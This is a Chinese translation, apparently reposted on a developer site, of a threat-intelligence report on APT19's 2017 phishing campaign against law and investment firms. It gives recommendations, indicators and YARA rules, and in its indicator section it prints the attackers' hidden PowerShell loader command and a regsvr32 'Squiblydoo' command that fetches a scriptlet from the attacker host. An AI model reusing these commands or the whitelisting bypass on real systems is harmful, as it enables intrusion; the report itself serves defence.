【技术分享】针对多个跨国法律与投资公司的钓鱼攻击行为分析

栏目: 编程工具 · 发布时间: 6年前

内容简介:【技术分享】针对多个跨国法律与投资公司的钓鱼攻击行为分析
2017-06-09 10:02:42 阅读:164次 来源: fireeye.com
【技术分享】针对多个跨国法律与投资公司的钓鱼攻击行为分析
作者:lfty89

【技术分享】针对多个跨国法律与投资公司的钓鱼攻击行为分析

翻译: lfty89

预估 稿费:130RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言

火眼公司声称,2017年5月至6月期间发生了多起针对跨国法律与投资公司的钓鱼攻击活动,目前至少有7家公司被明确为攻击对象。研究人员最终将该攻击行动与APT19组织(根据以往证据推断,该组织主要由自由职业者组成)联系在了一起。

APT19组织使用了三种不同的技术尝试对目标进行渗透。5月初,该组织主要使用包含 CVE-2017-0199 漏洞的RTF附件进行钓鱼攻击,到了5月末,又转而使用嵌入宏的Microsoft Excel文档(XLSM),在最新的几个版本中,APT19又在XLSM文档中加入了应用程序白名单绕过技术,在已经发现的钓鱼行为中,至少发送了一次Cobalt Strike载荷。

直到这篇文章发布为止,研究人员尚未发现漏洞利用后的攻击行为,所以我们无法判断这些攻击行为的真正目的,不过之前我们已经发现过APT19组织出于经济利益从跨国法律与投资类的公司盗取数据。

本文主要通过分析这起攻击活动来告知涉及的相关企业,同时提供了一些主动防御和检测的方法和建议。

邮件

APT19在这次攻击活动中使用的钓鱼邮件主要源自域名为“@cloudsend.net”的邮箱账号,同时使用了多种邮件主题和附件名称,可在本文末的网络攻击指标一段中找到详细介绍。

附件分析

APT19组织主要利用RTF(Rich Text Format)和XLSM(macro-enabled Microsoft Excel)文档来开展攻击,下文将详细分析这两种方法。

RTF附件

RTF附件通过利用CVE-2017-0199漏洞中HTA处理机制的问题,远程下载hxxp://tk-in-f156.2bunny[.]com/Agreement.doc文件,但由于该文件的URL已经失效,目前已无法做进一步的分析。图1为一个RTF附件尝试下载hxxp://tk-in-f156.2bunny[.]com/Agreement.doc文件的pacp数据包的截屏片段。

【技术分享】针对多个跨国法律与投资公司的钓鱼攻击行为分析

图1:RTF PACP

XLSM附件

XLSM附件包含了多个工作表,工作表的内容非常贴近附件的名称,附件同时也附加了一个引导用户点击启用宏的图片。图2展示了一个XLSM文件(MD5:30f149479c02b741e897cdb9ecd22da7)的截图。

【技术分享】针对多个跨国法律与投资公司的钓鱼攻击行为分析

图2:包含了启用宏的图片

在我们已经发现的XLSM附件中,其中一个包含的宏具有以下功能:

1.判断系统的架构类型以确定PowerShell的正确路径;

2.使用PowerShell执行ZLIB压缩和Base64编码的命令,这也是渗透攻击的常用技术;

图3显示了XLSM文件中嵌入的宏代码。

【技术分享】针对多个跨国法律与投资公司的钓鱼攻击行为分析

图3:嵌入的宏代码

图4显示了解码后的载荷内容。

【技术分享】针对多个跨国法律与投资公司的钓鱼攻击行为分析

图4:解码后的ZLIB+Base64载荷

shellcode调用PowerShell向域名为autodiscovery.2bunny.com的主机发送一个HTTP GET请求以获取一个4字节随机字符串。由于其使用的PowerShell命令的参数均为默认值,请求包含的HTTP头部数据比较短,如图5所示。

【技术分享】针对多个跨国法律与投资公司的钓鱼攻击行为分析

图5:请求中的HTTP 头部

将shellcode转换为ASCII码,再去掉非可读的字符后,可以快速地定位和搜集有价值的网络指标(NBI),如图6所示。

【技术分享】针对多个跨国法律与投资公司的钓鱼攻击行为分析

图6:解码后的shellcode

研究人员同时也在一些XLSM文档中找到了一些变种的宏代码,见图7。

【技术分享】针对多个跨国法律与投资公司的钓鱼攻击行为分析

图7:变种宏

该宏使用了Casey Smith的 “Squiblydoo”应用程序白名单绕过技术 来执行命令,见图8。

【技术分享】针对多个跨国法律与投资公司的钓鱼攻击行为分析

图8:应用程序白名单绕过技术

上图的命令下载并执行了一个SCT文件中的代码。这个SCT文件在载荷(MD5: 1554d6fe12830ae57284b389a1132d65)中包含的代码如下:

【技术分享】针对多个跨国法律与投资公司的钓鱼攻击行为分析

图9:SCT内容

图10显示了解码部分的代码。注意字符串“$Dolt”通常意指Cobalt Strike载荷。

【技术分享】针对多个跨国法律与投资公司的钓鱼攻击行为分析

图10:解码后的SCT内容

将“$var_code”变量的内容从Base64转换为ASCII后,也发现了一些熟悉的网络指标,见图11。

【技术分享】针对多个跨国法律与投资公司的钓鱼攻击行为分析

图11 转换为ASCII后的$var_code

第二阶段的载荷

一旦XLSM执行了PowerShell指令,就会下载一个典型的Cobalt Strike BEACON载荷,其配置了以下参数:

Process Inject Targets:
 %windir%\syswow64\rundll32.exe
 %windir%\sysnative\rundll32.exe
c2_user_agents:
 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; 
 FunWebProducts; IE0006_ver1;EN_GB)
Named Pipes:
 \\%s\pipe\msagent_%x
beacon_interval:
 60
C2:
 autodiscover.2bunny[.]com/submit.php
 autodiscover.2bunny[.]com/IE9CompatViewList.xml
 sfo02s01-in-f2.cloudsend[.]net/submit.php
 sfo02s01-in-f2.cloudsend[.]net/IE9CompatViewList.xml
C2 Port:
 TCP/80

图12显示了载荷中的Cobalt Strike BEACON C2的一个请求示例。

【技术分享】针对多个跨国法律与投资公司的钓鱼攻击行为分析

建议

研究人员建议公司和企业采取以下几点措施以减小受攻击遭受的损失:

1.使用微软Office的用户尽快安装微软发布的补丁;

2.根据目前搜集的钓鱼邮件的特征,对收到的邮件采取一定的鉴别和过滤措施;

3.检查网络代理连接的日志和记录,查找网络攻击渗透的痕迹;

4.拒绝符合来自可疑域名的网络链接;

5.检查遭受攻击的终端;

网络攻击指标

这一节主要罗列了目前已经发现的钓鱼邮件以及恶意载荷的各种指标参数。

邮件发送方:

PressReader <infodept@cloudsend[.]net>

Angela Suh <angela.suh@cloudsend[.]net>

Ashley Safronoff <ashley.safronoff@cloudsend[.]net>

Lindsey Hersh <lindsey.hersh@cloudsend[.]net>

Sarah Roberto sarah.roberto@cloudsend[.]net

noreply@cloudsend[.]net

邮件主题:

Macron Denies Authenticity Of Leak, French Prosecutors Open Probe

Macron Document Leaker Releases New Images, Promises More Information

Are Emmanuel Macron's Tax Evasion Documents Real?

Time Allocation

Vacancy Report

china paper table and graph

results with zeros – some ready not all finished

Macron Leaks contain secret plans for the islamisation of France and Europe

附件名称:

Macron_Authenticity.doc.rtf

Macron_Information.doc.rtf

US and EU Trade with China and China CA.xlsm

Tables 4 5 7 Appendix with zeros.xlsm

Project Codes - 05.30.17.xlsm

Weekly Vacancy Status Report 5-30-15.xlsm

Macron_Tax_Evasion.doc.rtf

Macron_secret_plans.doc.rtf

网络指标(NBI)

lyncdiscover.2bunny[.]com

autodiscover.2bunny[.]com

lyncdiscover.2bunny[.]com:443/Autodiscover/AutodiscoverService/

lyncdiscover.2bunny[.]com/Autodiscover

autodiscover.2bunny[.]com/K5om

sfo02s01-in-f2.cloudsend[.]net/submit.php

sfo02s01-in-f2.cloudsend[.]net/IE9CompatViewList.xml

tk-in-f156.2bunny[.]com

tk-in-f156.2bunny[.]com/Agreement.doc

104.236.77[.]169

138.68.45[.]9

162.243.143[.]145

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts; IE0006_ver1;EN_GB)

tf-in-f167.2bunny[.]com:443 (*Only seen in VT not ITW)

主机指标(HBI)

RTF MD5 hash值

0bef39d0e10b1edfe77617f494d733a8

0e6da59f10e1c4685bb5b35a30fc8fb6

cebd0e9e05749665d893e78c452607e2

XLSX MD5 hash值

38125a991efc6ab02f7134db0ebe21b6

3a1dca21bfe72368f2dd46eb4d9b48c4

30f149479c02b741e897cdb9ecd22da7

BEACON和Meterpreter 载荷MD5 hash值

bae0b39197a1ac9e24bdf9a9483b18ea

1151619d06a461456b310096db6bc548

进程、管道和文件路径

Process arguments, named pipes, and file paths

npowershell.exe -NoP -NonI -W Hidden -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String("<base64 blob>")
regsvr32.exe /s /n /u /i:hxxps://lyncdiscover.2bunny.com/Autodiscover scrobj.dll
\\<ip>\pipe\msagent_<4 digits>
C:\Documents and Settings\<user>\Local Settings\Temp\K5om.dll (4 character DLL based on URI of original GET request)

Yara 规则

rule FE_LEGALSTRIKE_MACRO {
  meta:version=".1"
  filetype="MACRO"
  author="Ian.Ahl@fireeye.com @TekDefense"
  date="2017-06-02"
  description="This rule is designed to identify macros with the specific encoding used in the sample 30f149479c02b741e897cdb9ecd22da7."
strings:
  // OBSFUCATION
  $ob1 = "ChrW(114) & ChrW(101) & ChrW(103) & ChrW(115) & ChrW(118) & ChrW(114) & ChrW(51) & ChrW(50) & ChrW(46) & ChrW(101)" ascii wide
  $ob2 = "ChrW(120) & ChrW(101) & ChrW(32) & ChrW(47) & ChrW(115) & ChrW(32) & ChrW(47) & ChrW(110) & ChrW(32) & ChrW(47)" ascii wide
  $ob3 = "ChrW(117) & ChrW(32) & ChrW(47) & ChrW(105) & ChrW(58) & ChrW(104) & ChrW(116) & ChrW(116) & ChrW(112) & ChrW(115)" ascii wide
  $ob4 = "ChrW(58) & ChrW(47) & ChrW(47) & ChrW(108) & ChrW(121) & ChrW(110) & ChrW(99) & ChrW(100) & ChrW(105) & ChrW(115)" ascii wide
  $ob5 = "ChrW(99) & ChrW(111) & ChrW(118) & ChrW(101) & ChrW(114) & ChrW(46) & ChrW(50) & ChrW(98) & ChrW(117) & ChrW(110)" ascii wide
  $ob6 = "ChrW(110) & ChrW(121) & ChrW(46) & ChrW(99) & ChrW(111) & ChrW(109) & ChrW(47) & ChrW(65) & ChrW(117) & ChrW(116)" ascii wide
  $ob7 = "ChrW(111) & ChrW(100) & ChrW(105) & ChrW(115) & ChrW(99) & ChrW(111) & ChrW(118) & ChrW(101) & ChrW(114) & ChrW(32)" ascii wide
  $ob8 = "ChrW(115) & ChrW(99) & ChrW(114) & ChrW(111) & ChrW(98) & ChrW(106) & ChrW(46) & ChrW(100) & ChrW(108) & ChrW(108)" ascii wide
  $obreg1 = /(\w{5}\s&\s){7}\w{5}/
  $obreg2 = /(Chrw\(\d{1,3}\)\s&\s){7}/
  // wscript
  $wsobj1 = "Set Obj = CreateObject(\"WScript.Shell\")" ascii wide
  $wsobj2 = "Obj.Run " ascii wide
 
condition:
   (
    (
       (uint16(0) != 0x5A4D)
    )
    and
    (
       all of ($wsobj*) and 3 of ($ob*)
       or
       all of ($wsobj*) and all of ($obreg*)
    )
  )
}
 
rule FE_LEGALSTRIKE_MACRO_2 {
  meta:version=".1"
  filetype="MACRO"
  author="Ian.Ahl@fireeye.com @TekDefense"
  date="2017-06-02"
  description="This rule was written to hit on specific variables and powershell command fragments as seen in the macro found in the XLSX file3a1dca21bfe72368f2dd46eb4d9b48c4."
strings:
  // Setting the environment
  $env1 = "Arch = Environ(\"PROCESSOR_ARCHITECTURE\")" ascii wide
  $env2 = "windir = Environ(\"windir\")" ascii wide
  $env3 = "windir + \"\\syswow64\\windowspowershell\\v1.0\\powershell.exe\"" ascii wide
  // powershell command fragments
  $ps1 = "-NoP" ascii wide
  $ps2 = "-NonI" ascii wide
  $ps3 = "-W Hidden" ascii wide
  $ps4 = "-Command" ascii wide
  $ps5 = "New-Object IO.StreamReader" ascii wide
  $ps6 = "IO.Compression.DeflateStream" ascii wide
  $ps7 = "IO.MemoryStream" ascii wide
  $ps8 = ",$([Convert]::FromBase64String" ascii wide
  $ps9 = "ReadToEnd();" ascii wide
  $psregex1 = /\W\w+\s+\s\".+\"/
condition:
  (
    (
       (uint16(0) != 0x5A4D)
    )
    and
    (
       all of ($env*) and 6 of ($ps*)
       or
       all of ($env*) and 4 of ($ps*) and all of ($psregex*)
    )
  )
}
 
rule FE_LEGALSTRIKE_RTF {
    meta:
   version=".1"
   filetype="MACRO"
   author="joshua.kim@FireEye.com"
   date="2017-06-02"
   description="Rtf Phishing Campaign leveraging the CVE 2017-0199 exploit, to point to the domain 2bunnyDOTcom"
 
    strings:
   $header = "{\\rt"
 
   $lnkinfo = "4c0069006e006b0049006e0066006f"
 
   $encoded1 = "4f4c45324c696e6b"
   $encoded2 = "52006f006f007400200045006e007400720079"
   $encoded3 = "4f0062006a0049006e0066006f"
   $encoded4 = "4f006c0065"
 
   $http1 = "68{"
   $http2 = "74{"
   $http3 = "07{"
 
   // 2bunny.com
   $domain1 = "32{\\"
   $domain2 = "62{\\"
   $domain3 = "75{\\"
   $domain4 = "6e{\\"
   $domain5 = "79{\\"
   $domain6 = "2e{\\"
   $domain7 = "63{\\"
   $domain8 = "6f{\\"
   $domain9 = "6d{\\"
 
   $datastore = "\\*\\datastore"
 
    condition:
   $header at 0 and all of them
}

参考文献

[1] https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html

[2] http://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html

[3] http://www.freebuf.com/articles/system/26373.html

【技术分享】针对多个跨国法律与投资公司的钓鱼攻击行为分析 【技术分享】针对多个跨国法律与投资公司的钓鱼攻击行为分析

本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。

原文链接:https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

网站搜索设计

网站搜索设计

[美] Shari Thurow、[美] Nick Musica / 向怡宁 / 人民邮电出版社 / 2011-4 / 35.00

本书是提高网站搜索可用性的红宝书,它将SEO 和Web 可用性两个不同领域的知识融会贯通,详细阐述了用户的各种搜索行为和行为背后的真实意图,以及网站如何迎合用户心理,以便提供令其满意的内容,进而实现网站所有者的商业目标。 本书不仅仅是SEO 专业人员和Web 可用性人员的参考必备,同时更可为网络文案、设计开发人员、营销专员以及网站所有者、管理者等其他Web 领域从业人员拓展视野、补强技能。一起来看看 《网站搜索设计》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

MD5 加密
MD5 加密

MD5 加密工具

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具